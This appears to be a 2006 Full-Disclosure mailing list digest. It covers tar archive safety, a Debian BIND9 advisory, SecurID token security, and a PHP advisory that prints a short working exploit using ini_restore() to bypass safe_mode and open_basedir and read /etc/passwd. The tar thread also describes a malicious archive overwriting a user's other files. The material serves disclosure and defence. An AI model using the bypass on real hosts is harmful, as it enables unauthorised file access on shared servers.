[Full-disclosure] Re: tar alternative
On 9/8/06, Tim [EMAIL PROTECTED] wrote: [..] Hello, Sorry to change the subject slightly here on this thread, but I was wondering about this before the topic came up. Given the problems with using the tar format for file distribution, What problems ? there any other simple, non-compressed file-grouping formats out there that weren't originally designed for backups (e.g. don't contain usernames, permissions, etc)? Something that can be a drop-in replacement for tar and thus can integrate with gzip/bzip2 easily? (Don't even say .zip) I would say cpio, but you don't want any backup designed archivers. There's probably one out there I'm completely naive about, but I haven't seen one yet that would be a safer alternative. Because there is nothing wrong with tar. -- mitu ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 1172-1] New bind9 packages fix denial of service
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 1172-1[EMAIL PROTECTED] http://www.debian.org/security/ Martin Schulze September 9th, 2006 http://www.debian.org/security/faq - -- Package: bind9 Vulnerability : programming error Problem type : remote Debian-specific: no CVE IDs: CVE-2006-4095 CVE-2006-4096 CERT advisories: VU#697164 VU#915404 Two vulnerabilities have been discovered in BIND9, the Berkeley Internet Name Domain server. The first relates to SIG query processing and the second relates to a condition that can trigger an INSIST failure, both lead to a denial of service. For the stable distribution (sarge) these problems have been fixed in version 9.2.4-1sarge1. For the unstable distribution (sid) these problems have been fixed in version 9.3.2-P1-1. We recommend that you upgrade your bind9 package. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given at the end of this advisory: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - Source archives: http://security.debian.org/pool/updates/main/b/bind9/bind9_9.2.4-1sarge1.dsc Size/MD5 checksum: 742 1c1f68802373715b71c85df3a4e42959 http://security.debian.org/pool/updates/main/b/bind9/bind9_9.2.4-1sarge1.diff.gz Size/MD5 checksum:91537 dccd8daf65751535821c1d5feb007782 http://security.debian.org/pool/updates/main/b/bind9/bind9_9.2.4.orig.tar.gz Size/MD5 checksum: 4564219 2ccbddbab59aedd6b8711b628b5472bd Architecture independent components: http://security.debian.org/pool/updates/main/b/bind9/bind9-doc_9.2.4-1sarge1_all.deb Size/MD5 checksum: 156816 df36851fe572ba9372f51c42225434e8 Alpha architecture: http://security.debian.org/pool/updates/main/b/bind9/bind9_9.2.4-1sarge1_alpha.deb Size/MD5 checksum: 305112 61371171ccd4ba38bfd0bf0e92fdc1bc http://security.debian.org/pool/updates/main/b/bind9/bind9-host_9.2.4-1sarge1_alpha.deb Size/MD5 checksum:96806 587a9b04649003552b1b3d4de7c938a6 http://security.debian.org/pool/updates/main/b/bind9/dnsutils_9.2.4-1sarge1_alpha.deb Size/MD5 checksum: 168936 1a7ebf17e2b71e10104b5e323688498b http://security.debian.org/pool/updates/main/b/bind9/libbind-dev_9.2.4-1sarge1_alpha.deb Size/MD5 checksum: 1309800 7565a3f67b7b22b2cf6426efce3be207 http://security.debian.org/pool/updates/main/b/bind9/libdns16_9.2.4-1sarge1_alpha.deb Size/MD5 checksum: 519302 2e99a2893f81b3d0eeebfad42dff59a3 http://security.debian.org/pool/updates/main/b/bind9/libisc7_9.2.4-1sarge1_alpha.deb Size/MD5 checksum: 173920 852323c0e170684e091895fbd8fa4e43 http://security.debian.org/pool/updates/main/b/bind9/libisccc0_9.2.4-1sarge1_alpha.deb Size/MD5 checksum:79482 b91d6515f44dc7220b394aba313d8080 http://security.debian.org/pool/updates/main/b/bind9/libisccfg0_9.2.4-1sarge1_alpha.deb Size/MD5 checksum:94638 75fb4d0cf1d8ad68be72d35869d01611 http://security.debian.org/pool/updates/main/b/bind9/liblwres1_9.2.4-1sarge1_alpha.deb Size/MD5 checksum:96896 f0813560bc29e33e3c978e638ff36aed http://security.debian.org/pool/updates/main/b/bind9/lwresd_9.2.4-1sarge1_alpha.deb Size/MD5 checksum: 199618 9b21ac7cc73e1dfa19e19b0bdb166e2d AMD64 architecture: http://security.debian.org/pool/updates/main/b/bind9/bind9_9.2.4-1sarge1_amd64.deb Size/MD5 checksum: 288376 f3b1989849c7e8f37415ce88b4c78817 http://security.debian.org/pool/updates/main/b/bind9/bind9-host_9.2.4-1sarge1_amd64.deb Size/MD5 checksum:95816 1f3b433f75f3f7d1162e98359246f4f0 http://security.debian.org/pool/updates/main/b/bind9/dnsutils_9.2.4-1sarge1_amd64.deb Size/MD5 checksum: 165024 1029eff494a101fabd6da81d348976b7 http://security.debian.org/pool/updates/main/b/bind9/libbind-dev_9.2.4-1sarge1_amd64.deb Size/MD5 checksum: 1010682 efa161275e41f67c4057e384a10cda94 http://security.debian.org/pool/updates/main/b/bind9/libdns16_9.2.4-1sarge1_amd64.deb Size/MD5 checksum: 487228 4c7c3f659d8bee778c994b0e6f52dd8d http://security.debian.org/pool/updates/main/b/bind9/libisc7_9.2.4-1sarge1_amd64.deb Size/MD5 checksum: 164478 efb21ce2f3cccbf9f7316473dbb1a688 http://security.debian.org/pool/updates/main/b/bind9/libisccc0_9.2.4-1sarge1_amd64.deb Size/MD5
Re: [Full-disclosure] Re: Linux kernel source archive vulnerable
On Fri, 08 Sep 2006 23:37:31 +0200, Hadmut Danisch said: Again: There is no such advice. The README just says To do the actual install you have to be root, but none of the normal build should require that. So you don't need to be root in order to compile. But this is not an advice to not be root. If you can't put together none of the normal build should require it and the standard advice of don't run anything as root unless it requires it (you *are* aware that's standard advice, right?) to get therefor, don't build it as root, since root isn't required, you probably shouldn't be doing *anything* as root. pgpEDWf1YfrTN.pgp Description: PGP signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: RSA SecurID SID800 Token vulnerable by design
Dear Hadmut Danisch, 2-factor authentication is not a way to protect against malware. SecurID authentication supports single sign-on technology. As a weak side of this technology, it means, if single account on any network host is compromised, this account is compromised in whole network, because any resource can be accessed from compromised host. An ability to read current key from device is required to support single sign-on. The only additional attack factor this issue creates is attacker can get _physical_ access to console with user's credentials _any time_ while user is logged in, while in case token can not be red (e.g. it's not plugged to USB) he can only access console short after user logs in to compromised host (while token is not changed). --Thursday, September 7, 2006, 10:49:52 PM, you wrote to full-disclosure@lists.grok.org.uk: HD However, if the Token Code can be read over the USB bus, this HD assumption does not hold. A single attack on the PC where the token is HD plugged in would compromise both the PIN (e.g. with a keylogger) and HD the token itself (e.g. writing a daemon which continuously polls the HD token and forwards the token in real time to a remote attacker. -- ~/ZARAZA http://www.security.nnov.ru/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: tar alternative
What problems ? 1. tar archives contain information about the user and group of a file. This is critical for backups, but quite unnecessary for software distribution in the vast majority of cases. It is a common pitfall for software authors to leak information about their systems this way. 2. As discussed in this thread, tar archives contain permissions for files. Also important for backups, not important for software distribution IMHO. 3. tar traditionally allows files to be extracted to any directory, which can be dangerous. True, these behaviors can be overridden, or a tool developed that has safe defaults, but then the tool would be less useful for backups. The point is, the Unix community has been using a backup tool for software distribution for many years. Perhaps having the right tool for the job would be safer. For instance, a format that only contained filenames and timestamps, and is built to only output all files under a specific directory tree would be nice. I would say cpio, but you don't want any backup designed archivers. Yeah, I had thought of that as well, but it likely has the same issues. thanks, tim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: tar alternative
quoth the Tim: What problems ? 1. tar archives contain information about the user and group of a file. This is critical for backups, but quite unnecessary for software distribution in the vast majority of cases. It is a common pitfall for software authors to leak information about their systems this way. What tar are you using? With every tarball I download the files within are given the owner:group of the user I extract them as. I have never seen a developer's username or group disclosed... 2. As discussed in this thread, tar archives contain permissions for files. Also important for backups, not important for software distribution IMHO. Sure they are important. Would you want to manually chmod +x all executables and scripts? Manually chmod +r all documentation? Even stipulating that we could use the umask value to decide permissions it is still a PITA. 3. tar traditionally allows files to be extracted to any directory, which can be dangerous. This can be mitigated if you don't blindly extract tarballs as root, and you only extract in safe locations. If you unpack stuff to '/' you deserve to hose your system. True, some boneheads don't package their stuff in a top-level directory potentially overwriting existing files in the pwd. Perhaps the GNU folks should add a 'noclobber' option True, these behaviors can be overridden, or a tool developed that has safe defaults, but then the tool would be less useful for backups. The point is, the Unix community has been using a backup tool for software distribution for many years. Perhaps having the right tool for the job would be safer. For instance, a format that only contained filenames and timestamps, and is built to only output all files under a specific directory tree would be nice. I would say cpio, but you don't want any backup designed archivers. Yeah, I had thought of that as well, but it likely has the same issues. thanks, tim -d -- darren kirby :: Part of the problem since 1976 :: http://badcomputer.org ...the number of UNIX installations has grown to 10, with more expected... - Dennis Ritchie and Ken Thompson, June 1972 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: tar alternative
What tar are you using? With every tarball I download the files within are given the owner:group of the user I extract them as. I have never seen a developer's username or group disclosed... Yes, as a normal user, you can't create files locally owned by another user, so they aren't, but the username/group are indeed in the tar file. From a couple of tarballs I have lying around my system: [EMAIL PROTECTED]:/usr/local/src tar tjvf nmap-3.50.tar.bz2 drwxr-xr-x fyodor/fyodor 0 2004-01-18 22:04 nmap-3.50/ -rw-r--r-- fyodor/fyodor 15318 2003-09-10 22:12 nmap-3.50/main.cc -rw-r--r-- fyodor/fyodor 75134 2003-12-01 20:09 nmap-3.50/nmap.cc -rw-r--r-- fyodor/fyodor 50952 2003-09-16 02:04 nmap-3.50/targets.cc -rw-r--r-- fyodor/fyodor 67425 2003-09-20 05:03 nmap-3.50/tcpip.cc -rw-r--r-- fyodor/fyodor 7490 2003-09-10 22:12 nmap-3.50/nmap_error.cc -rw-r--r-- fyodor/fyodor 22068 2003-09-10 22:12 nmap-3.50/utils.cc -rw-r--r-- fyodor/fyodor 41675 2003-09-10 22:12 nmap-3.50/idle_scan.cc -rw-r--r-- fyodor/fyodor 68759 2003-09-10 22:12 nmap-3.50/osscan.cc -rw-r--r-- fyodor/fyodor 46270 2003-12-18 16:42 nmap-3.50/output.cc -rw-r--r-- fyodor/fyodor 71462 2003-12-01 20:09 nmap-3.50/scan_engine.cc ... and [EMAIL PROTECTED]:/usr/local/src tar tzvf wget-1.9.1.tar.gz drwxr-xr-x hniksic/hniksic 0 2003-11-11 18:42 wget-1.9.1/ drwxr-xr-x hniksic/hniksic 0 2003-11-11 18:42 wget-1.9.1/doc/ drwxr-xr-x hniksic/hniksic 0 2003-11-11 18:42 wget-1.9.1/doc/ChangeLog-branches/ -rw-r--r-- hniksic/hniksic 12928 2001-01-06 04:26 wget-1.9.1/doc/ChangeLog-branches/1.6_branch.ChangeLog -rw-r--r-- hniksic/hniksic 23252 2003-11-08 18:46 wget-1.9.1/doc/ChangeLog -rw-r--r-- hniksic/hniksic 4854 2003-10-23 18:53 wget-1.9.1/doc/Makefile.in -rw-r--r-- hniksic/hniksic 1529 2003-10-04 06:34 wget-1.9.1/doc/ansi2knr.1 -rw-r--r-- hniksic/hniksic 4022 2001-11-30 02:32 wget-1.9.1/doc/sample.wgetrc ... Sure they are important. Would you want to manually chmod +x all executables and scripts? Manually chmod +r all documentation? Even stipulating that we could use the umask value to decide permissions it is still a PITA. Using umask is perfectly fine, except in the case of executables, so that is a good point. This can be mitigated if you don't blindly extract tarballs as root, and you only extract in safe locations. If you unpack stuff to '/' you deserve to hose your system. Well, personally, I think it's just a joke that I can't extract the contents of an archive as root and feel safe. I mean, think about it for a second... It's not like I'm downloading a random executable and running it without some trust. Sure, you shouldn't run programs unnecessarily as root. That goes for any program, but that's a precaution that's supposed to prevent unforseen vulnerabilities, and shouldn't be needed to work around braindead default behavior. It's like saying: never open emails from people you don't know. Yeah, it might be a good idea, but it's a total failure of the software involved to rely on that recommendation for security. Now, beyond the root user issue, isn't it true that if I untar a malicious archive as a normal user, that my own files could be squashed too? If I always unpack source files in ~/src as a normal user, and compile them in their own subdirectories as my own user, I could still be at risk if I'm not careful. Suppose one day, I unpack foo-0.1.tar.gz to the directory ~/src/foo-0.1. Then, the next day I download bar-0.1.tar.gz, which I don't really trust. I just want to unpack it and take a look at the source before I compile and install. So, I untar it in ~/src. Let's suppose bar-0.1.tar.gz contains the following files: bar-0.1/ foo-0.1/evil.c bar-0.1/benign.c ... So, this could inject evil code into my other program. If I were naive enough to extract an archive in my home directory, my .profile could receive a lovely shellcode. True, some boneheads don't package their stuff in a top-level directory potentially overwriting existing files in the pwd. Perhaps the GNU folks should add a 'noclobber' option Yes, I guess what I just described is what you were getting at. noclobber would be great and all, except not all archive extractors would behave this way, and if noclobber isn't the default, it will leave new users vulnerable. I just think it would be better to have a format that makes it easy to enforce a top level directory for all files, and removes the leaks mentioned above. I've searched around since my first posting, and I've yet to find one, unfortunately. cheers, tim ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] PHP 5.1.6 / 4.4.4 Critical php_admin* bypass by ini_restore()
Source: http://securityreason.com/achievement_securityalert/42 -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 [PHP 5.1.6 / 4.4.4 Critical php_admin* bypass by ini_restore()] Author: Maksymilian Arciemowicz (cXIb8O3) Date: - - Written: 05.09.2006 - - Public: 09.09.2006 SecurityAlert Id: 42 CVE: CVE-2006-4625 SecurityRisk: High Affected Software: PHP 5.1.6 / 4.4.4 = x Advisory URL: http://securityreason.com/achievement_securityalert/42 Vendor: http://www.php.net - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. A nice introduction to PHP by Stig Sæther Bakken can be found at http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of the PHP Conference Material is freely available. php_admin_value name value Sets the value of the specified directive. This can not be used in .htaccess files. Any directive type set with php_admin_value can not be overridden by .htaccess or virtualhost directives. To clear a previously set value use none as the value. php_admin_flag name on|off Used to set a boolean configuration directive. This can not be used in .htaccess files. Any directive type set with php_admin_flag can not be overridden by .htaccess or virtualhost directives. http://pl.php.net/manual/en/configuration.changes.php - --- 1. php_admin_value and php_admin_flag Bypass --- When using PHP as an Apache module, you can also change the configuration settings using directives in Apache configuration files (e.g. httpd.conf). This options are using by a lot of ISP to set open_basedir, safe_mode and more options. For example: open_basedir in httpd.conf - --- Directory /usr/home/frajer/public_html/ Options FollowSymLinks MultiViews Indexes AllowOverride None php_admin_flag safe_mode 1 php_admin_value open_basedir /usr/home/frajer/public_html/ /Directory - --- In PHP are two config options. Are Local Value and Master Value. More in phpinfo() or ini_get() Example: If you have safe_mode or open_basedir (etc) set in Local Value for selected users and in Master Value is default value, you can restore Master Value to Local Value per ini_restore() function! - --- ini_restore (PHP 4, PHP 5) ini_restore -- Restores the value of a configuration option - --- Restores the value of a php.ini file. Then your PHP options from httpd.conf are bypassed. EXPLOIT: - --- ? echo ini_get(safe_mode); echo ini_get(open_basedir); include(/etc/passwd); ini_restore(safe_mode); ini_restore(open_basedir); echo ini_get(safe_mode); echo ini_get(open_basedir); include(/etc/passwd); ? - --- RESULT OF EXPLOIT: - --- 1 /usr/home/frajer/public_html/ Warning: include() [function.include]: open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/usr/home/frajer/public_html/) in /usr/home/frajer/public_html/ini_restore.php on line 4 Warning: include(/etc/passwd) [function.include]: failed to open stream: Operation not permitted in /usr/home/frajer/public_html/ini_restore.php on line 4 Warning: include() [function.include]: Failed opening '/etc/passwd' for inclusion (include_path='.:') in /usr/home/frajer/public_html/ini_restore.php on line 4 # $BSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:*:0:0:Charlie :/root:/bin/csh toor:*:0:0:Bourne-ag. - --- This issue is very dangerous, because Admin can't correct set open_basedir or safe_mode for all users. - --- 2. How to fix --- fixed in CVS HEAD, PHP_5_2, PHP_5_1 and PHP_4_4. http://cvs.php.net/viewcvs.cgi/php-src/NEWS - --- 3. Greets --- For: sp3x and p_e_a, l5x - --- 4. Contact --- Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ] Email: cxib [at] securityreason [dot] com GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg Regards SecurityReason -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.2.2 (FreeBSD) iD8DBQFFApZZ3Ke13X/fTO4RAmA4AJ9g4rA0hqST7Px7i03RGpE1bmZmrgCgmt0a SvP3KPhmLtZcCNFmtGa8oJ8= =bqQV -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] List Charter
[Full-Disclosure] Mailing List Charter John Cartwright [EMAIL PROTECTED] - Introduction Purpose - This document serves as a charter for the [Full-Disclosure] mailing list hosted at lists.grok.org.uk. The list was created on 9th July 2002 by Len Rose, and is primarily concerned with security issues and their discussion. The list is administered by John Cartwright. The Full-Disclosure list is hosted and sponsored by Secunia. - Subscription Information - Subscription/unsubscription may be performed via the HTTP interface located at http://lists.grok.org.uk/mailman/listinfo/full-disclosure. Alternatively, commands may be emailed to [EMAIL PROTECTED], send the word 'help' in either the message subject or body for details. - Moderation Management - The [Full-Disclosure] list is unmoderated. Typically posting will be restricted to members only, however the administrators may choose to accept submissions from non-members based on individual merit and relevance. It is expected that the list will be largely self-policing, however in special circumstances (eg spamming, misappropriation) then offending members may be removed from the list by the management. An archive of postings is available at http://lists.grok.org.uk/pipermail/full-disclosure/. - Acceptable Content - Any information pertaining to vulnerabilities is acceptable, for instance announcement and discussion thereof, exploit techniques and code, related tools and papers, and other useful information. Gratuitous advertisement, product placement, or self-promotion is forbidden. Disagreements, flames, arguments, and off-topic discussion should be taken off-list wherever possible. Humour is acceptable in moderation, providing it is inoffensive. Politics should be avoided at all costs. Members are reminded that due to the open nature of the list, they should use discretion in executing any tools or code distributed via this list. - Posting Guidelines - The primary language of this list is English. Members are expected to maintain a reasonable standard of netiquette when posting to the list. Quoting should not exceed that which is necessary to convey context, this is especially relevant to members subscribed to the digested version of the list. The use of HTML is discouraged, but not forbidden. Signatures will preferably be short and to the point, and those containing 'disclaimers' should be avoided where possible. Attachments may be included if relevant or necessary (e.g. PGP or S/MIME signatures, proof-of-concept code, etc) but must not be active (in the case of a worm, for example) or malicious to the recipient. Vacation messages should be carefully configured to avoid replying to list postings. Offenders will be excluded from the mailing list until the problem is corrected. Members may post to the list by emailing [EMAIL PROTECTED] Do not send subscription/ unsubscription mails to this address, use the -request address mentioned above. - Charter Additions/Changes - The list charter will be published at http://lists.grok.org.uk/full-disclosure-charter.html. In addition, the charter will be posted monthly to the list by the management. Alterations will be made after consultation with list members and a concensus has been reached. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: OT - Check this out - Full disclosure is apt for this
Another: http://video.google.co.uk/videoplay?docid=-5702006622816922747 Makes me sick. On 10/09/06, c0ntex [EMAIL PROTECTED] wrote: http://video.google.co.uk/videoplay?docid=-5587990522549547050 -- regards c0ntex -- regards c0ntex ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] OT - Check this out - Full disclosure is apt for this
http://video.google.co.uk/videoplay?docid=-5587990522549547050 -- regards c0ntex ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Re: RSA SecurID SID800 Token vulnerable by design
On 9/9/06, 3APA3A [EMAIL PROTECTED] wrote: Dear Hadmut Danisch, 2-factor authentication is not a way to protect against malware. Well, it protects - the authentication process. SecurID authentication supports single sign-on technology. As a weak side of this technology, it means, if single account on any network host is compromised, this account is compromised in whole network, because any resource can be accessed from compromised host. An ability to read current key from device is required to support single sign-on. It depends on the underlying SSO technology. In most cases today you have web based SSO deployments which rely on a cookie. In this case, you don't need to connect the token at all - all you have to do is login once and the browser will take care of rest. As Brian noted in the following e-mail, if an attacker can put a keylogger on your machine, he can certainly get the cookie as well and use it. The only additional attack factor this issue creates is attacker can get _physical_ access to console with user's credentials _any time_ while user is logged in, while in case token can not be red (e.g. it's not plugged to USB) he can only access console short after user logs in to compromised host (while token is not changed). No - the OTP can be used only once, so even if you manage to get both the PIN/password and the OTP (remember, you need both to login) you can't use that because the RSA authentication manager (the server side of the whole process) marked that OTP as used. In this case an attacker can only try to brute force the OTP (after all, it's only 6 digits), but RSA has excellent measures against brute force attacks (basically, after a certain, configurable, number of unsuccessful logins the token is disabled; what's even better is that it tracks number of incorrect OTPs with correct PINs - if that is higher than a certain number, it puts the token into 2nd OTP mode which means you have to guess 2 OTPs in a row). I think these tokens offer excellent means for authentication. Sure, they are not a silver bullet and don't solve all your security problems (nothing does), but if you have users who have to login from a lot of insecure places (airport lounges, cyber caffes) and are afraid of keyloggers stealing passwords, two factor authentication really helps. Cheers, Bojan ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
RE: [Full-disclosure] Re: RSA SecurID SID800 Token vulnerable by design
If there's malware on the machine, and there is a connected USB token, then authentication is only as good as the password - malware can probe the connected token as often as desired. And this data stream to the authentication host is still subject to a variety of MITM attacks. In the event of an unconnected OTP token, a variety of MITM attacks still applies to OTP tokens - in the SecurID-style form factor, printed lists or anything similar. In theory, with trusted data paths everywhere (internal to worksation as well as he network) OTP is better than passwords alone. But since this data patch assumption is rarely 100% valid, OTP is as good as a password alone. In the situation where data paths are trust-able, OTP is a somewhat better than passwords alone. Does the risk justify the costs involved (tokens, token management, authentication host, and trusted data paths)? Lyal -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Bojan Zdrnja Sent: Sunday, 10 September 2006 8:51 AM To: 3APA3A Cc: full-disclosure@lists.grok.org.uk; bugtraq@securityfocus.com Subject: [Full-disclosure] Re: RSA SecurID SID800 Token vulnerable by design On 9/9/06, 3APA3A [EMAIL PROTECTED] wrote: Dear Hadmut Danisch, 2-factor authentication is not a way to protect against malware. Well, it protects - the authentication process. SecurID authentication supports single sign-on technology. As a weak side of this technology, it means, if single account on any network host is compromised, this account is compromised in whole network, because any resource can be accessed from compromised host. An ability to read current key from device is required to support single sign-on. It depends on the underlying SSO technology. In most cases today you have web based SSO deployments which rely on a cookie. In this case, you don't need to connect the token at all - all you have to do is login once and the browser will take care of rest. As Brian noted in the following e-mail, if an attacker can put a keylogger on your machine, he can certainly get the cookie as well and use it. The only additional attack factor this issue creates is attacker can get _physical_ access to console with user's credentials _any time_ while user is logged in, while in case token can not be red (e.g. it's not plugged to USB) he can only access console short after user logs in to compromised host (while token is not changed). No - the OTP can be used only once, so even if you manage to get both the PIN/password and the OTP (remember, you need both to login) you can't use that because the RSA authentication manager (the server side of the whole process) marked that OTP as used. In this case an attacker can only try to brute force the OTP (after all, it's only 6 digits), but RSA has excellent measures against brute force attacks (basically, after a certain, configurable, number of unsuccessful logins the token is disabled; what's even better is that it tracks number of incorrect OTPs with correct PINs - if that is higher than a certain number, it puts the token into 2nd OTP mode which means you have to guess 2 OTPs in a row). I think these tokens offer excellent means for authentication. Sure, they are not a silver bullet and don't solve all your security problems (nothing does), but if you have users who have to login from a lot of insecure places (airport lounges, cyber caffes) and are afraid of keyloggers stealing passwords, two factor authentication really helps. Cheers, Bojan ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Re: RSA SecurID SID800 Token vulnerable by design
On 9/9/06, Lyal Collins [EMAIL PROTECTED] wrote: If there's malware on the machine, and there is a connected USB token, then authentication is only as good as the password - malware can probe the connected token as often as desired. snip In theory, with trusted data paths everywhere (internal to worksation as well as he network) OTP is better than passwords alone. But since this data patch assumption is rarely 100% valid, OTP is as good as a password alone. In the situation where data paths are trust-able, OTP is a somewhat better than passwords alone. If you think about it in terms of how long an attacker has to act, I think you'll come to a different conclusion. Two-factor auth is better than password alone even when the end user is typing OTPs into a machine that is completely and totally rooted. The key phrase in your analysis is connected token. Once the token is disconnected, the malware no longer has access to the authentication data. When a password is stolen it could be usable for months. When an OTP is stolen it is usable for hours, if that. Two-factor auth reduces the risk because it reduces the length of time of the compromise. Does the risk justify the costs involved (tokens, token management, authentication host, and trusted data paths)? That is the big question. Even if you are willing to pay for two-factor, transactional authentication might provide better value. Regards, Brian ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
